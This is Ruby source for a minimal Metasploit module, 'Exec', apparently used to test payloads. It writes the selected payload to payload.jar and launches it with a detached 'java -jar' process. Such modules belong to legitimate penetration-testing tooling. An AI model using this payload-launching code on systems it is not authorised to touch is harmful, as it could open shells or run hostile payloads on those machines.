##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Exec',
        'Description' => %q{ },
        'License' => MSF_LICENSE,
        'Author' => [ 'egypt' ],
        'References' => [ ],
        'Platform' => [ 'java', 'linux' ],
        'Arch' => ARCH_JAVA,
        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
        'Targets' => [
          [
            'Generic (Java Payload)', {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],
          [
            'Linux', {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
        ],
        'DefaultTarget' => 0
      )
    )
  end

  def exploit
    # Equivalent to payload.encoded
    @jar_data = payload.encoded_jar.pack

    File.open("payload.jar", "wb") do |fd|
      fd.write(@jar_data)
    end

    pid = Process.spawn("java -jar payload.jar &")
    Process.detach pid
  end

end
